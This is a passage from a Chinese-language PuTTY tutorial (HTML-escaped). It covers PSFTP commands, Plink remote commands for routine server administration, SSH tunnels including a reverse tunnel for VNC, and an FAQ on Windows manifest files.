&amp;lt;filename|directory&amp;gt; [dest] 把一批文件/目录上传到服务器，可以用通配符，-r 的含义与 put 一样&lt;/li&gt;&lt;li id=&quot;nkpr601&quot;&gt;reget [-r] &amp;lt;filename|directory&amp;gt; 从服务器续传下载一个文件/目录，这个命令不能用通配符，-r 的含义与 get 一样&lt;/li&gt;&lt;li id=&quot;nkpr602&quot;&gt;reput [-r] &amp;lt;filename|directory&amp;gt; [dest] 把一批文件/目录续传上传到服务器，这个命令不能用通配符，-r 的含义与 put 一样&lt;/li&gt;&lt;li id=&quot;nkpr603&quot;&gt;dir [directory] 列目录&lt;/li&gt;&lt;li id=&quot;nkpr604&quot;&gt;ls 和 dir 一样&lt;/li&gt;&lt;li id=&quot;nkpr605&quot;&gt;chmod [file|directory] 改变文件的权限，与 Unix 的 chmod 命令类似&lt;/li&gt;&lt;li id=&quot;nkpr606&quot;&gt;del &amp;lt;filename&amp;gt; 删除文件，要注意的是 del 只能删除文件&lt;/li&gt;&lt;li id=&quot;nkpr607&quot;&gt;rm 与 del 一样&lt;/li&gt;&lt;li id=&quot;nkpr608&quot;&gt;mkdir &amp;lt;new-directory-name&amp;gt; 创建一个目录&lt;/li&gt;&lt;li id=&quot;nkpr609&quot;&gt;rmdir &amp;lt;directory&amp;gt; 删除一个空目录，只有空目录才可以被删除&lt;/li&gt;&lt;li id=&quot;nkpr610&quot;&gt;mv &amp;lt;source-file|source-directory&amp;gt; &amp;lt;dest-file|dest-directory&amp;gt; 改名/移动。如果源和目的都是文件或目录，则是改名。如果目的是目录的话，则是移动。&lt;br id=&quot;nkpr611&quot; /&gt;&lt;/li&gt;&lt;li id=&quot;nkpr612&quot;&gt;! 在本地命令前加一个感叹号，就可以直接执行&lt;br id=&quot;nkpr613&quot; /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br id=&quot;nkpr614&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr615&quot;&gt;其他可选的 SFTP 客户端&lt;/h3&gt;&lt;p&gt;FileZilla : http://filezilla.sf.net&lt;br id=&quot;nkpr616&quot; /&gt;WinSCP : http://www.winscp.net&lt;br id=&quot;nkpr617&quot; /&gt;&lt;br id=&quot;nkpr618&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr619&quot;&gt;用 Plink 更方便快捷的执行远程主机上的命令&lt;/h2&gt;&lt;p&gt;Plink 是 PuTTY 的命令行连接工具，主要用于自动化工作的处理。&lt;br id=&quot;nkpr620&quot; /&gt;直接在控制台执行 plink，可以看到 Plink 的帮助&lt;br id=&quot;nkpr621&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr622&quot;&gt;C:&amp;gt;plink&lt;br id=&quot;nkpr623&quot; /&gt;PuTTY Link: command-line connection utility&lt;br id=&quot;nkpr624&quot; /&gt;Release 0.58&lt;br id=&quot;nkpr625&quot; /&gt;Usage: plink [options] [user@]host [command]&lt;br id=&quot;nkpr626&quot; /&gt;(&amp;quot;host&amp;quot; can also be a PuTTY saved session name)&lt;br id=&quot;nkpr627&quot; /&gt;Options:&lt;br id=&quot;nkpr628&quot; /&gt;-V print version information and exit&lt;br id=&quot;nkpr629&quot; /&gt;-pgpfp print PGP key fingerprints and exit&lt;br id=&quot;nkpr630&quot; /&gt;-v show verbose messages&lt;br id=&quot;nkpr631&quot; /&gt;-load sessname Load settings from saved session&lt;br id=&quot;nkpr632&quot; /&gt;-ssh -telnet -rlogin -raw&lt;br id=&quot;nkpr633&quot; /&gt;force use of a particular protocol&lt;br id=&quot;nkpr634&quot; /&gt;-P port connect to specified port&lt;br id=&quot;nkpr635&quot; /&gt;-l user connect with specified username&lt;br id=&quot;nkpr636&quot; /&gt;-batch disable all interactive prompts&lt;br id=&quot;nkpr637&quot; /&gt;The following options only apply to SSH connections:&lt;br id=&quot;nkpr638&quot; /&gt;-pw passw login with specified password&lt;br id=&quot;nkpr639&quot; /&gt;-D [listen-IP:]listen-port&lt;br id=&quot;nkpr640&quot; /&gt;Dynamic SOCKS-based port forwarding&lt;br id=&quot;nkpr641&quot; /&gt;-L [listen-IP:]listen-port:host:port&lt;br id=&quot;nkpr642&quot; /&gt;Forward local port to remote address&lt;br id=&quot;nkpr643&quot; /&gt;-R [listen-IP:]listen-port:host:port&lt;br id=&quot;nkpr644&quot; /&gt;Forward remote port to local address&lt;br id=&quot;nkpr645&quot; /&gt;-X -x enable / disable X11 forwarding&lt;br id=&quot;nkpr646&quot; /&gt;-A -a enable / disable agent forwarding&lt;br id=&quot;nkpr647&quot; /&gt;-t -T enable / disable pty allocation&lt;br id=&quot;nkpr648&quot; /&gt;-1 -2 force use of particular protocol version&lt;br id=&quot;nkpr649&quot; /&gt;-4 -6 force use of IPv4 or IPv6&lt;br id=&quot;nkpr650&quot; /&gt;-C enable compression&lt;br id=&quot;nkpr651&quot; /&gt;-i key private key file for authentication&lt;br id=&quot;nkpr652&quot; /&gt;-m file read remote command(s) from file&lt;br id=&quot;nkpr653&quot; /&gt;-s remote command is an SSH subsystem (SSH-2 only)&lt;br id=&quot;nkpr654&quot; /&gt;-N don&apos;t start a shell/command (SSH-2 only)&lt;br id=&quot;nkpr655&quot; /&gt;&lt;br id=&quot;nkpr656&quot; /&gt;C:&amp;gt;&lt;br id=&quot;nkpr657&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;看上去 Plink 的使用方法、参数与PSCP、PSFTP都很类似。&lt;br id=&quot;nkpr658&quot; /&gt;&lt;/p&gt;&lt;ul id=&quot;nkpr659&quot;&gt;&lt;li id=&quot;nkpr660&quot;&gt;-P port 指定服务器的 SSH 端口，注意这个是大写字母 P，默认是 -P 22，如果主机的 SSH 端口就是 22，就不用指定了&lt;/li&gt;&lt;li id=&quot;nkpr661&quot;&gt;-l user 指定以哪个用户的身份登录主机，如果没有指定，则 PSCP 会在 PuTTY 保存的同名 Session 中获得默认的用户名称。用户名称也可以和主机名称写在一起，用 @ 分割开，比如：username@server&lt;/li&gt;&lt;li id=&quot;nkpr662&quot;&gt;-pw passwd 指定登录时所用的口令为 passwd&lt;/li&gt;&lt;li id=&quot;nkpr663&quot;&gt;-i keyfile 就是指定登录时所用的密钥文件&lt;/li&gt;&lt;li id=&quot;nkpr664&quot;&gt;-m file 如果执行的命令很多的话，可以把命令写到文件中，然后用这个参数来指定&lt;br id=&quot;nkpr665&quot; /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;还是用一些实际的例子来说明一下 Plink 吧&lt;br id=&quot;nkpr666&quot; /&gt;还记得前面说到 PuTTY 的自动执行命令那个配置么？在说到那个配置的时候，我们演示了一个简单的 Tomcat 重新启动的命令，这个命令是要写在 PuTTY 的 Remote command 里面去。现在我们用 Plink 来实现同样的功能：&lt;br id=&quot;nkpr667&quot; /&gt;假设连接的主机是 192.168.6.200，SSH 的端口是 3022，用户是 taylor：&lt;br id=&quot;nkpr668&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr669&quot;&gt;plink -P 3022 taylor@192.168.6.200 export CATALINA_HOME=&amp;quot;~/apache-tomcat-5.5.17&amp;quot;;export JAVA_HOME=&amp;quot;~/jdk1.5.0_07&amp;quot;;export PATH=$JAVA_HOME/bin;$PATH ; cd $CATALINA_HOME/bin;./shutdown.sh;./startup.sh;tail -f $CATALINA_HOME/logs/catalina.out&lt;br id=&quot;nkpr670&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;如果在 PuTTY 中保存了一个名为 192.168.6.200 的会话，注意，这个会话的名称与主机 IP 一样，在会话中已经正确保存了端口 3022，指定了默认的用户是 taylor，现在这个命令就可以简化为：&lt;br id=&quot;nkpr671&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr672&quot;&gt;plink 192.168.6.200 export CATALINA_HOME=&amp;quot;~/apache-tomcat-5.5.17&amp;quot;;export JAVA_HOME=&amp;quot;~/jdk1.5.0_07&amp;quot;;export PATH=$JAVA_HOME/bin;$PATH ; cd $CATALINA_HOME/bin;./shutdown.sh;./startup.sh;tail -f $CATALINA_HOME/logs/catalina.out&lt;br id=&quot;nkpr673&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;用 date 命令查看一下主机上的时间，并且格式化输出：&lt;br id=&quot;nkpr674&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr675&quot;&gt;plink 192.168.6.200 date &amp;quot;+%F %T&amp;quot;&lt;br id=&quot;nkpr676&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;大家实际执行一下命令看看，会发现，这个命令并没有返回我们期望的结果，而是返回了一个错误：&lt;br id=&quot;nkpr677&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr678&quot;&gt;C:&amp;gt;plink 192.168.6.200 date &amp;quot;+%F %T&amp;quot;&lt;br id=&quot;nkpr679&quot; /&gt;date: too many non-option arguments: %T&lt;br id=&quot;nkpr680&quot; /&gt;Try `date --help&apos; for more information.&lt;br id=&quot;nkpr681&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;可是在服务器上直接执行命令 date &amp;quot;+%F %T&amp;quot;，的确是正确无误的，哪里出了问题呢？这是因为Windows的控制台会把两个双引号之间的字符串作为一个参数传递给被执行的程序，而不会把双引号也传递给程序。我们做这样一个小小的实验来说明一下这个问题：&lt;br id=&quot;nkpr682&quot; /&gt;比如在 c:tmp 文件夹里建立三个文件夹，名称分别为：&amp;quot;foo&amp;quot;、&amp;quot;bar&amp;quot;、&amp;quot;foo bar&amp;quot;。然后在 foo 这个文件夹里面建立一个名为“foo.log”的空文件，在“bar”这个文件夹里建立一个名为“bar.log”的空文件，在“foo bar”这个文件夹里建立一个名为“foo-bar.log”的空文件。&lt;br id=&quot;nkpr683&quot; /&gt;然后在控制台下进入 c:tmp 这个文件夹，执行如下命令：&lt;br id=&quot;nkpr684&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr685&quot;&gt;dir foo bar&lt;br id=&quot;nkpr686&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;结果是列出“foo bar”这个文件夹里的内容，还是分别列出“foo”和“bar”文件夹里的东西呢？正确答案是后者。&lt;br id=&quot;nkpr687&quot; /&gt;要想正确列出“foo bar”文件夹里的东西，就需要用双引号把&amp;quot;foo bar&amp;quot;引起来&lt;br id=&quot;nkpr688&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr689&quot;&gt;C:tmp&amp;gt;dir foo bar&lt;br id=&quot;nkpr690&quot; /&gt;Volume in drive C is System&lt;br id=&quot;nkpr691&quot; /&gt;Volume Serial Number is 9C51-A51C&lt;br id=&quot;nkpr692&quot; /&gt;&lt;br id=&quot;nkpr693&quot; /&gt;Directory of C:tmpfoo&lt;br id=&quot;nkpr694&quot; /&gt;&lt;br id=&quot;nkpr695&quot; /&gt;2006-11-22 09:48 &amp;lt;DIR&amp;gt; .&lt;br id=&quot;nkpr696&quot; /&gt;2006-11-22 09:48 &amp;lt;DIR&amp;gt; ..&lt;br id=&quot;nkpr697&quot; /&gt;2006-11-16 11:58 0 foo.log&lt;br id=&quot;nkpr698&quot; /&gt;1 File(s) 0 bytes&lt;br id=&quot;nkpr699&quot; /&gt;&lt;br id=&quot;nkpr700&quot; /&gt;Directory of C:tmpbar&lt;br id=&quot;nkpr701&quot; /&gt;&lt;br id=&quot;nkpr702&quot; /&gt;2006-11-22 09:48 &amp;lt;DIR&amp;gt; .&lt;br id=&quot;nkpr703&quot; /&gt;2006-11-22 09:48 &amp;lt;DIR&amp;gt; ..&lt;br id=&quot;nkpr704&quot; /&gt;2006-11-16 11:58 0 bar.log&lt;br id=&quot;nkpr705&quot; /&gt;1 File(s) 0 bytes&lt;br id=&quot;nkpr706&quot; /&gt;2 Dir(s) 1,107,345,408 bytes free&lt;br id=&quot;nkpr707&quot; /&gt;&lt;br id=&quot;nkpr708&quot; /&gt;C:tmp&amp;gt;dir &amp;quot;foo bar&amp;quot;&lt;br id=&quot;nkpr709&quot; /&gt;Volume in drive C is System&lt;br id=&quot;nkpr710&quot; /&gt;Volume Serial Number is 9C51-A51C&lt;br id=&quot;nkpr711&quot; /&gt;&lt;br id=&quot;nkpr712&quot; /&gt;Directory of C:tmpfoo bar&lt;br id=&quot;nkpr713&quot; /&gt;&lt;br id=&quot;nkpr714&quot; /&gt;2006-11-22 09:48 &amp;lt;DIR&amp;gt; .&lt;br id=&quot;nkpr715&quot; /&gt;2006-11-22 09:48 &amp;lt;DIR&amp;gt; ..&lt;br id=&quot;nkpr716&quot; /&gt;2006-11-16 11:58 0 foo-bar.log&lt;br id=&quot;nkpr717&quot; /&gt;1 File(s) 0 bytes&lt;br id=&quot;nkpr718&quot; /&gt;2 Dir(s) 1,107,345,408 bytes free&lt;br id=&quot;nkpr719&quot; /&gt;&lt;br id=&quot;nkpr720&quot; /&gt;C:tmp&amp;gt;&lt;br id=&quot;nkpr721&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;说到这里，就会明白上面的那个命令 plink 192.168.6.200 date &amp;quot;+%F %T&amp;quot; 其实在主机上执行的真实命令是 date +%F %T，而不是命令行中指定的 date &amp;quot;+%F %T&amp;quot;。不过还好，Windows 的控制台可不认得单引号，所以上面那个命令的正确用法应该是：&lt;br id=&quot;nkpr722&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr723&quot;&gt;c:&amp;gt;plink 192.168.6.200 date &apos;+%F %T&apos;&lt;br id=&quot;nkpr724&quot; /&gt;2006-11-22 09:39:57&lt;br id=&quot;nkpr725&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;我经常需要登录到服务器上把 ADSL 重新拨号，可以把下面的命令写到一个文本文件中，比如保存到了 C:adsl-restart.command.txt&lt;br id=&quot;nkpr726&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr727&quot;&gt;echo &amp;quot;stoping...&amp;quot;&lt;br id=&quot;nkpr728&quot; /&gt;/sbin/adsl-stop&lt;br id=&quot;nkpr729&quot; /&gt;echo &amp;quot;starting...&amp;quot;&lt;br id=&quot;nkpr730&quot; /&gt;/sbin/adsl-start&lt;br id=&quot;nkpr731&quot; /&gt;echo &amp;quot;done.&amp;quot;&lt;br id=&quot;nkpr732&quot; /&gt;/sbin/adsl-status&lt;br id=&quot;nkpr733&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;然后执行如下命令：&lt;br id=&quot;nkpr734&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr735&quot;&gt;plink -m c:adsl-restart.command.txt root@192.168.6.251&lt;br id=&quot;nkpr736&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;我经常要查看 Tomcat 的运行日志&lt;br id=&quot;nkpr737&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr738&quot;&gt;plink taylor@192.168.6.200 tail -f ~/apache-tomcat-5.5.17/logs/catalina.out&lt;br id=&quot;nkpr739&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;每天都要看服务器上的剩余空间，就用这个命令：&lt;br id=&quot;nkpr740&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr741&quot;&gt;plink taylor@192.168.6.200 df -k&lt;br id=&quot;nkpr742&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;假设 www.chaifeng.com 连接着另外一个网段 10.204.26.0，有台内网IP 为 10.204.26.21 的 Solaris 8主机只能用 telnet 登录，为了防止被监听，我们可以用 Plink 建立一个隧道，隧道开放 120 秒钟，如果隧道没有被使用，就自动断开连接，然后我们在本地就可以用命令 telnet localhost 2623 的安全登录那台 Solaris 8 主机了。&lt;br id=&quot;nkpr743&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr744&quot;&gt;plink -L 2623:10.204.26.21:23 www.chaifeng.com sleep 120&lt;br id=&quot;nkpr745&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;在主机 www.chaifeng.com 上正在运行着 tor，默认的监听地址是 127.0.0.1:9050，用 Plink 建立一个隧道，然后浏览器上配置代理服务器为 127.0.0.1，端口是 9050，这样就能够安全的使用 tor 代理了，不用担心从我们的机器到主机 www.chaifeng.com 有被监听的可能了。&lt;br id=&quot;nkpr746&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr747&quot;&gt;plink -C -N -L 9050:127.0.0.1:9050 taylor@www.chaifeng.com&lt;br id=&quot;nkpr748&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;结合上 PSCP 我们还可以完成文件的每天备份&lt;br id=&quot;nkpr749&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr750&quot;&gt;plink taylor@192.168.6.200 tar jcf $(date &apos;+documents.%F.tar.bz2&apos;) ~/documents&lt;br id=&quot;nkpr751&quot; /&gt;pscp taylor@192.168.6.200:$(date &apos;+documents.%F.tar.bz2&apos;) c:backup&lt;br id=&quot;nkpr752&quot; /&gt;plink taylor@192.168.6.200 rm -f $(date &apos;+documents.%F.tar.bz2&apos;)&lt;br id=&quot;nkpr753&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;如果把这些常用的操作写成批处理文件，到时候要重启一下 Tomcat，或者马上察看一下 Tomcat 日志，再或者只是要把 ADLS 重新拨号以下，只需要用鼠标一双击这个批处理文件，稍等一下就自动完成了。不比你打开 PuTTY，登录到服务器上，然后再一个一个的执行命令，最后还得注销来的方便快捷么？再懒一些，把自动备份的批处理放到计划任务里面，每天定时完成，哈哈，有时间上网找些好玩的东西了，不用每天忙于这些繁杂重复的命令中了。&lt;br id=&quot;nkpr754&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr755&quot;&gt;用假象去迷惑敌人&lt;/h2&gt;&lt;p&gt;如果我说 Google 的服务器也开放了 SSH，但是只有特定的 IP 可以连接上去，不信么？（声明：下面的图片都未经修改，我以 Google 的名义发誓，绝对没有 PS）&lt;br id=&quot;nkpr756&quot; /&gt;&lt;img style=&quot;width: 610px; height: 366px&quot; id=&quot;nkpr757&quot; title=&quot;psftp www.google.com&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_69gmdqqn&quot; /&gt;&lt;br id=&quot;nkpr758&quot; /&gt;&lt;img style=&quot;width: 692px; height: 680px&quot; id=&quot;nkpr759&quot; title=&quot;psftp www.google.com&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_70hsgsvx&quot; /&gt;&lt;br id=&quot;nkpr760&quot; /&gt;知道是怎么回事么？&lt;br id=&quot;nkpr761&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr762&quot;&gt;Tips（小技巧）&lt;/h2&gt;&lt;p&gt;安全、方便的使用 VNC，远程连接 VNC 不需要密码&lt;br id=&quot;md6t0&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;margin-left: 40px&quot; id=&quot;xorr0&quot;&gt;有关 VNC 的主题按理说不应该写在这里，可是通过一点小小的技巧，可以让我们安全、方便的使用 VNC。我们多数情况下用 Windows 远程登录 Linux 桌面的方法不外乎 X11 forwarding 和 VNC，有关 X11 转发的内容参照前面的部分，还有关于 X11 转发和 VNC 哪个方便，这里就不再啰嗦说这些了，自己试一试就知道了。&lt;br id=&quot;ygs10&quot; /&gt;在远程机器上启动 vnc 服务的方法很简单，直接使用命令 vncserver 了。如果是第一次使用这个命令，还会提示输入一个口令。注意了，这个口令是用来远程连接 VNC 服务端用的，不是登录口令，着两个口令可不一样。如果想修改 vnc 的连接口令，使用命令 vncpasswd 就可以搞定，用法和 passwd 一样。哎哎，等等。标题上不是写的“远程连接 VNC 不需要密码”么？为什么这里还是需要连接密码？不要着急，慢慢听我讲。前面说的方法就是最常用的方法了，既然连接 VNC 的时候需要密码，那就带来一个老问题。密码太简单了，容易被暴力破解掉。密码太复杂了，人脑毕竟不是电脑，记不住。但是呢，为了安全，密码还是要设置的长一点，我们可以使用一些其他工具帮助我们管理这些又臭又长的密码，比如 KeePass。&lt;br id=&quot;m:.z0&quot; /&gt;现在要说的是，我们可以把 VNC 的连接密码设置的好长好复杂，而且我们不用记，连接 VNC 的时候还不需要口令，不用担心暴力破解等等。我们需要做如下四步操作：&lt;br id=&quot;f-j50&quot; /&gt;一、在本地机器上，用参数 /listen 来启动 vncviewer，这个参数对于 RealVNC、TightVNC、UltraVNC 的客户端都一样。也就是要把 VNC 客户端启动在监听模式下，我们要让 VNC 服务器主动连接我们，这样我们就不需要 VNC 的连接口令了。&lt;br id=&quot;mqpv0&quot; /&gt;&lt;blockquote id=&quot;ex380&quot;&gt;vncviewer /listen&lt;br id=&quot;rsow0&quot; /&gt;&lt;/blockquote&gt;二、创建一个 PuTTY 的反向隧道，源端口 5500，目标 localhost:5500，具体操作看前面的部分，别忘记点“Add”按钮哦。这个 5500 端口就是 vncviewer 的默认监听端口。&lt;br id=&quot;ovdf0&quot; /&gt;&lt;div style=&quot;text-align: left&quot; id=&quot;bwkd&quot;&gt;&lt;img style=&quot;width: 432px; height: 237px&quot; id=&quot;dj400&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_90hmsxzpdq_b&quot; /&gt;&lt;/div&gt;&lt;br id=&quot;mmr30&quot; /&gt;三、在远程服务器上用命令 vncserver 启动 VNC 服务，如果前面已经启动 VNC 服务了，就忽略这一步。&lt;br id=&quot;vlc50&quot; /&gt;四、关键命令哦，在远程服务器上执行命令&lt;br id=&quot;vlc51&quot; /&gt;&lt;blockquote id=&quot;pfdh0&quot;&gt;vncconfig -display :1 -connect localhost&lt;br id=&quot;xvzd0&quot; /&gt;&lt;/blockquote&gt;说一下两个个关键参数，一个是 display 后面的 :1 ，这是连接到第一个 vnc 实例上。另一个就是 connect 参数后面的 localhost，既然我们是在远程机器上输入的这个命令，那很显然，连接的就是远程机器。别忘了，我们在此之前设置了反向的 SSH 隧道，连接远程机器的本地 5500 端口，其实连接的就是我们自己机器的 5500 端口。&lt;br id=&quot;bwvt0&quot; /&gt;哈，然后你就会发现什么密码也不用输入，就直接连接上远程的 VNC 服务了。不过呢，这四步操作确实有些麻烦，懒人的第一要旨就是能有多懒就要多懒。&lt;br id=&quot;so200&quot; /&gt;第一步操作我们可以在 Windows 的启动菜单你里放一个 vncviewer 的快捷方式，别忘了 /listen 参数。&lt;br id=&quot;so201&quot; /&gt;第二步操作可以直接保存到 PuTTY 的会话里面，参考前面的内容。&lt;br id=&quot;so202&quot; /&gt;第三步就没啥子好说的，只要机器没有重启过，这个 VNC 服务就一直能用。&lt;br id=&quot;so203&quot; /&gt;第四步的这个命令，我们可以在 PuTTY 的 Connection-&amp;gt;SSH 的选项里的 “Remote command” 里填写上 “vncconfig -display :1 -connect localost” ，然后同样也是保存到 PuTTY 的会话里。以后只要双击一下那个 PuTTY 的会话，我们的 VNC 窗口就会自动打开。&lt;br id=&quot;mq2o0&quot; /&gt;第二步和第四步操作也可以用一个命令来代替，如下：&lt;br id=&quot;mq2o1&quot; /&gt;&lt;blockquote id=&quot;m1tx0&quot;&gt;plink.exe -R 5500:localhost:5500 guantouping &amp;quot;vncconfig -display :1 -connect localhost&amp;quot;&lt;br id=&quot;m1tx1&quot; /&gt;&lt;/blockquote&gt;命令参数中的那个 “guantouping” 是 PuTTY 保存的会话名，也可以是远程机器主机名，把这个命令做成一个快捷方式，双击直接打开 VNC。&lt;br id=&quot;xorr1&quot; /&gt;&lt;/div&gt;&lt;p&gt;&lt;br id=&quot;wcw50&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;joxm0&quot;&gt;FAQ（常见问题）&lt;/h2&gt;&lt;p&gt;&lt;b&gt;我在 PuTTY 官方网站下载的，可是执行 PuTTY、Pagent、PuTTYgen 时总是出错，而命令行执行的这几个却没问题&lt;/b&gt;&lt;br id=&quot;nkpr763&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;margin-left: 40px&quot; id=&quot;nkpr764&quot;&gt;这种情形我也碰到过，一个解决的办法就是去下载最新版，或许你碰巧下载的是旧版本。另外一个解决办法就是，创建三个扩展名为 .manifest 的文本文件，然后把这三个文件复制到 PuTTY 的目录中，文件内容分别如下：&lt;br id=&quot;nkpr765&quot; /&gt;把下面的内容复制到记事本中，文件名保存为：PAGEANT.exe.manifest&lt;br id=&quot;nkpr766&quot; /&gt;&lt;blockquote id=&quot;nkpr767&quot;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; standalone=&amp;quot;yes&amp;quot;?&amp;gt;&lt;br id=&quot;nkpr768&quot; /&gt;&amp;lt;!-- This is present purely to make Visual Styles in XP work better.&lt;br id=&quot;nkpr769&quot; /&gt;See 20020104174954.A12067@imsa.edu. --&amp;gt;&lt;br id=&quot;nkpr770&quot; /&gt;&amp;lt;assembly xmlns=&amp;quot;urn:schemas-microsoft-com:asm.v1&amp;quot; manifestVersion=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br id=&quot;nkpr771&quot; /&gt;&amp;lt;assemblyIdentity&lt;br id=&quot;nkpr772&quot; /&gt;type=&amp;quot;win32&amp;quot;&lt;br id=&quot;nkpr773&quot; /&gt;name=&amp;quot;Pageant&amp;quot;&lt;br id=&quot;nkpr774&quot; /&gt;version=&amp;quot;0.0.0.0&amp;quot; processorArchitecture=&amp;quot;x86&amp;quot;/&amp;gt;&lt;br id=&quot;nkpr775&quot; /&gt;&amp;lt;dependency&amp;gt;&lt;br id=&quot;nkpr776&quot; /&gt;&amp;lt;dependentAssembly&amp;gt;&lt;br id=&quot;nkpr777&quot; /&gt;&amp;lt;!-- Load Common Controls 6 instead of 5 to get WinXP native-&lt;br id=&quot;nkpr778&quot; /&gt;looking controls in the client area. --&amp;gt;&lt;br id=&quot;nkpr779&quot; /&gt;&amp;lt;assemblyIdentity type=&amp;quot;win32&amp;quot;&lt;br id=&quot;nkpr780&quot; /&gt;name=&amp;quot;Microsoft.Windows.Common-Controls&amp;quot;&lt;br id=&quot;nkpr781&quot; /&gt;version=&amp;quot;6.0.0.0&amp;quot;&lt;br id=&quot;nkpr782&quot; /&gt;publicKeyToken=&amp;quot;6595b64144ccf1df&amp;quot;&lt;br id=&quot;nkpr783&quot; /&gt;language=&amp;quot;*&amp;quot;&lt;br id=&quot;nkpr784&quot; /&gt;processorArchitecture=&amp;quot;x86&amp;quot;/&amp;gt;&lt;br id=&quot;nkpr785&quot; /&gt;&amp;lt;/dependentAssembly&amp;gt;&lt;br id=&quot;nkpr786&quot; /&gt;&amp;lt;/dependency&amp;gt;&lt;br id=&quot;nkpr787&quot; /&gt;&amp;lt;/assembly&amp;gt;&lt;br id=&quot;nkpr788&quot; /&gt;&lt;/blockquote&gt;把下面的内容复制到记事本中，文件名保存为：PUTTY.exe.manifest&lt;br id=&quot;nkpr789&quot; /&gt;&lt;blockquote id=&quot;nkpr790&quot;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; standalone=&amp;quot;yes&amp;quot;?&amp;gt;&lt;br id=&quot;nkpr791&quot; /&gt;&amp;lt;!-- This is present purely to make Visual Styles in XP work better.&lt;br id=&quot;nkpr792&quot; /&gt;See 20020104174954.A12067@imsa.edu. --&amp;gt;&lt;br id=&quot;nkpr793&quot; /&gt;&amp;lt;assembly xmlns=&amp;quot;urn:schemas-microsoft-com:asm.v1&amp;quot; manifestVersion=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br id=&quot;nkpr794&quot; /&gt;&amp;lt;assemblyIdentity&lt;br id=&quot;nkpr795&quot; /&gt;type=&amp;quot;win32&amp;quot;&lt;br id=&quot;nkpr796&quot; /&gt;name=&amp;quot;PuTTY&amp;quot;&lt;br id=&quot;nkpr797&quot; /&gt;version=&amp;quot;0.0.0.0&amp;quot; processorArchitecture=&amp;quot;x86&amp;quot;/&amp;gt;&lt;br id=&quot;nkpr798&quot; /&gt;&amp;lt;dependency&amp;gt;&lt;br id=&quot;nkpr799&quot; /&gt;&amp;lt;dependentAssembly&amp;gt;&lt;br id=&quot;nkpr800&quot; /&gt;&amp;lt;!-- Load Common Controls 6 instead of 5 to get WinXP native-&lt;br id=&quot;nkpr801&quot; /&gt;looking controls in the client area. --&amp;gt;&lt;br id=&quot;nkpr802&quot; /&gt;&amp;lt;assemblyIdentity type=&amp;quot;win32&amp;quot;&lt;br id=&quot;nkpr803&quot; /&gt;name=&amp;quot;Microsoft.Windows.Common-Controls&amp;quot;&lt;br id=&quot;nkpr804&quot; /&gt;version=&amp;quot;6.0.0.0&amp;quot;&lt;br id=&quot;nkpr805&quot; /&gt;publicKeyToken=&amp;quot;6595b64144ccf1df&amp;quot;&lt;br id=&quot;nkpr806&quot; /&gt;language=&amp;quot;*&amp;quot;&lt;br id=&quot;nkpr807&quot; /&gt;processorArchitecture=&amp;quot;x86&amp;quot;/&amp;gt;&lt;br id=&quot;nkpr808&quot; /&gt;&amp;lt;/dependentAssembly&amp;gt;&lt;br id=&quot;nkpr809&quot; /&gt;&amp;lt;/dependency&amp;gt;&lt;br id=&quot;nkpr810&quot; /&gt;&amp;lt;/assembly&amp;gt;&lt;br id=&quot;nkpr811&quot; /&gt;&lt;/blockquote&gt;把下面的内容复制到记事本中，文件名保存为：PUTTYGEN.exe.manifest&lt;br id=&quot;nkpr812&quot; /&gt;&lt;blockquote id=&quot;nkpr813&quot;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; standalone=&amp;quot;yes&amp;quot;?&amp;gt;&lt;br id=&quot;nkpr814&quot; /&gt;&amp;lt;!-- This is present purely to make Visual Styles in XP work better.&lt;br id=&quot;nkpr815&quot; /&gt;See 20020104174954.A12067@imsa.edu. 